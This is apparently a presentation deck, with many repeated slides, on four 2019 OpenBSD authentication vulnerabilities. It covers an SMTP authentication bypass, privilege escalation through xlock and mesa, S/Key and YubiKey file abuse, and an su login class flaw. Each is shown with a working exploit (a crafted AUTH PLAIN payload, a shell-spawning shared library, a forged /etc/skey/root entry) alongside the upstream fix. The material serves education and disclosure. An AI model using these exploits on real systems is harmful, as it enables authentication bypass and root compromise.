A quick look at authentication vulnerabilities in OpenBSD

Guillaume Pagnoux

December 10, 2019

Introduction

Introduction

- Four CVE were revealed five days ago
- Let's take a look at them
- And how they were fixed !

Introduction

- Four CVE were revealed five days ago
- Let's take a look at them
- And how they were fixed !

Introduction

- Four CVE were revealed five days ago
- Let's take a look at them
- And how they were fixed !

CVE-2019-19521: Authentication bypass

CVE-2019-19521: Authentication bypass (1/4)

Let's take a look at a few man pages. First `login.conf(5)`:

```
OpenBSD uses BSD Authentication, which is made up of a variety of
authentication styles.  The authentication styles currently provided are:
...
passwd      Request a password and check it against the password in the
            master.passwd file.  See login_passwd(8).
...
skey        Send a challenge and request a response, checking it with
            S/Key (tm) authentication.  See login_skey(8).
...
yubikey     Authenticate using a Yubico YubiKey token.  See login_yubikey(8).
...
For any given style, the program /usr/libexec/auth/login_style is used to
perform the authentication. The synopsis of this program is:
/usr/libexec/auth/login_style [-v name=value] [-s service] username class
```

CVE-2019-19521: Authentication bypass (2/4)

And `login_passwd`:

```
1  login_passwd [-s service] [-v wheel=yes|no] [-v lastchance=yes|no] user
2                    [class]
3  ...
4  The service argument specifies which protocol to use with the invoking
5  program.  The allowed protocols are login, challenge, and response.  (The
6  challenge protocol is silently ignored but will report success as passwd-
7  style authentication is not challenge-response based).
```

CVE-2019-19521: Authentication bypass (3/4)

- `login_passwd` uses `getopt(3)`
- So if the user name begin with a dash, it is interpreted as another option..

CVE-2019-19521: Authentication bypass (3/4)

- `login_passwd` uses `getopt(3)`
- So if the user name begin with a dash, it is interpreted as another option..

CVE-2019-19521: Authentication bypass (4/4)

Let's try it!

```
$ printf '\0-schallenge\0whatever' | openssl base64
AC1zY2hhbGxlbmdlAHdoYXRldmVy

$ openssl s_client -connect 192.168.56.121:25 -starttls smtp
...
EHLO client.example.com
...
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded
```

CVE-2019-19521: The fixes

- Two fixes were made to the C library for this
- First, in the calls to the `auth_call` function of the C library

CVE-2019-19521: The fixes

- Two fixes were made to the C library for this
- First, in the calls to the `auth_call` function of the C library

CVE-2019-19521: The fixes - `auth_call`

```
1  -        auth_call(as, path, as->style, "-s", "challenge", as->name,
2  +        auth_call(as, path, as->style, "-s", "challenge", "--", as->name,
3                   as->class, (char *)NULL);
```

CVE-2019-19521: The fixes - `auth_validuser`

And the addition of a call to a new username verification function at various places:

```
int _auth_validuser(const char *name)
{
    /* User name must be specified and may not start with a '-'. */
    if (name == NULL || *name == '\0' || *name == '-') {
        syslog(LOG_ERR, "invalid user name %s", name ? name : "(NULL)");
        return 0;
    }
    return 1;
}
```

```
char *auth_challenge(auth_session_t *as)
{
    if (as == NULL || as->style == NULL || as->name == NULL ||
        !_auth_validuser(as->name))
            return (NULL);
```

CVE-2019-19520: Local privilege escalation via xlock

`mesa` is here for you !

- `xlock` use `mesa` and `OpenGL` (for animations?)
- `mesa` may load library using `dlopen(3)`
- Those library are in environment-provided paths
- Fortunately, there is a user check so that only the user that launched the process can do that !

`mesa` is here for you !

- `xlock` use `mesa` and `OpenGL` (for animations?)
- `mesa` may load library using `dlopen(3)`
- Those library are in environment-provided paths
- Fortunately, there is a user check so that only the user that launched the process can do that !

`mesa` is here for you !

- `xlock` use `mesa` and `OpenGL` (for animations?)
- `mesa` may load library using `dlopen(3)`
- Those library are in environment-provided paths
- Fortunately, there is a user check so that only the user that launched the process can do that !

`mesa` is here for you !

- `xlock` use `mesa` and `OpenGL` (for animations?)
- `mesa` may load library using `dlopen(3)`
- Those library are in environment-provided paths
- Fortunately, there is a user check so that only the user that launched the process can do that !

`mesa` is *almost* here for you !

```
1  if (geteuid() == getuid()) {
2          /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
3          libPaths = getenv("LIBGL_DRIVERS_PATH");
```

Oops!

Doesn't it look good ?

- It checks if we are indeed who we are supposed to be
- And this should be okay for handling setuid bit programs
- What about setgid bit programs ?
  - You know... like xlock

Doesn't it look good ?

- It checks if we are indeed who we are supposed to be
- And this should be okay for handling setuid bit programs
- What about setgid bit programs ?
  - You know... like xlock

Doesn't it look good ?

- It checks if we are indeed who we are supposed to be
- And this should be okay for handling setuid bit programs
- What about setgid bit programs ?
  - You know. . . like `xlock`

Doesn't it look good ?

- It checks if we are indeed who we are supposed to be
- And this should be okay for handling setuid bit programs
- What about setgid bit programs ?
  - You know. . . like `xlock`

Let's feed it a nice library (1/2)

```c
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);

    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
```

Let's feed it a nice library (2/2)

```
$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 2706
$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)
```

And we have auth privileges!

The fix

Use `issetugid(2)` before getting your paths !

```
1   const struct __DRIextensionRec **
2   loader_open_driver(const char *driver_name,
3                      void **out_driver_handle,
4                      const char **search_path_vars)
5   {
6       /* ... */
7   -   if (geteuid() == getuid() && search_path_vars) {
8   +   if (issetugid() == 0 && geteuid() == getuid() && search_path_vars) {
9           for (int i = 0; search_path_vars[i] != NULL; i++) {
10              search_paths = getenv(search_path_vars[i]);
11              if (search_paths)
12                  break;
13          }
14      }
```

The same thing is done in `loader_get_driver_for_fd`.

Because `OpenBSD`

Because OpenBSD, let's be a bit more *violent* with the issue.

With love, from `xlock`'s build configuration:

```
-                       --without-rplay --without-ftgl
+                       --without-rplay --without-ftgl \
+                       --without-opengl --without-mesa
```

CVE-2019-19522: Yubikey fun

The issue

- When you use a Yubikey (or S/Key) in OpenBSD authentication is done *via* `login_skey` and `login_yubikey`.
- Those do not check if files in `/etc/skey/` and `/var/db/yubikey/` belong to the correct users
- But not everyone can write in those. But `auth` can.
  - Remember `xlock` ?

The issue

- When you use a Yubikey (or S/Key) in OpenBSD authentication is done *via* `login_skey` and `login_yubikey`.
- Those do not check if files in `/etc/skey/` and `/var/db/yubikey/` belong to the correct users
- But not everyone can write in those. But `auth` can.
  - Remember `xlock` ?

The issue

- When you use a Yubikey (or S/Key) in OpenBSD authentication is done *via* `login_skey` and `login_yubikey`.
- Those do not check if files in `/etc/skey/` and `/var/db/yubikey/` belong to the correct users
- But not everyone can write in those. But `auth` can.
    - Remember `xlock` ?

The issue

- When you use a Yubikey (or S/Key) in OpenBSD authentication is done *via* `login_skey` and `login_yubikey`.
- Those do not check if files in `/etc/skey/` and `/var/db/yubikey/` belong to the correct users
- But not everyone can write in those. But `auth` can.
    - Remember `xlock` ?

The exploit with S/Key

If /etc/skey/root does not exist, we can do this

```
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
$ chmod 0600 /etc/skey/root
$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: EGG LARD GROW HOG DRAG LAIN
(root)$ id
uid=0(root) gid=0(wheel) ...
```

The fix ?

If there is a fix, I still don't know where it is. . .

CVE-2019-19519: Local privilege escalation via su

The issue (1/2)

- `su -L` option will cause `su` to loop until a correct username and password combination is entered.
- The user class is only set once during `su -L` execution.

The issue (1/2)

- `su -L` option will cause `su` to loop until a correct username and password combination is entered.
- The user class is only set once during `su -L` execution.

The issue (1/2)

```
1  int
2  main(int argc, char **argv)
3  {
4      /* ...  */
5      for (;;) {
6          /* ...  */
7          if (!class && pwd && pwd->pw_class && pwd->pw_class[0] != '\0')
8              class = strdup(pwd->pw_class);
```

`class` is never reset, and it can't be !

The exploit

```
$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)
$ ulimit -H -a
...
processes             512
$ su -l -L
login: root
Password:
Login incorrect
login: jane
Password:
$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)
$ ulimit -H -a
...
processes             1310
```

The fix

```
          for (;;) {
+                 char *pw_class = class;
```

```
                  /* If the user specified a login class, use it */
-                 if (!class && pwd && pwd->pw_class && pwd->pw_class[0]
-                         class = strdup(pwd->pw_class);
-                 if ((lc = login_getclass(class)) == NULL)
+                 if (pw_class == NULL && pwd != NULL)
+                         pw_class = pwd->pw_class;
+                 if ((lc = login_getclass(pw_class)) == NULL)
                          auth_errx(as, 1, "no such login class: %s",
-                             class ? class : LOGIN_DEFCLASS);
+                             pw_class ? pw_class : LOGIN_DEFCLASS);
```

That's all folks !

Questions ?

Links

- Authentication vulnerabilities in OpenBSD
- OpenBSD 6.6 Errata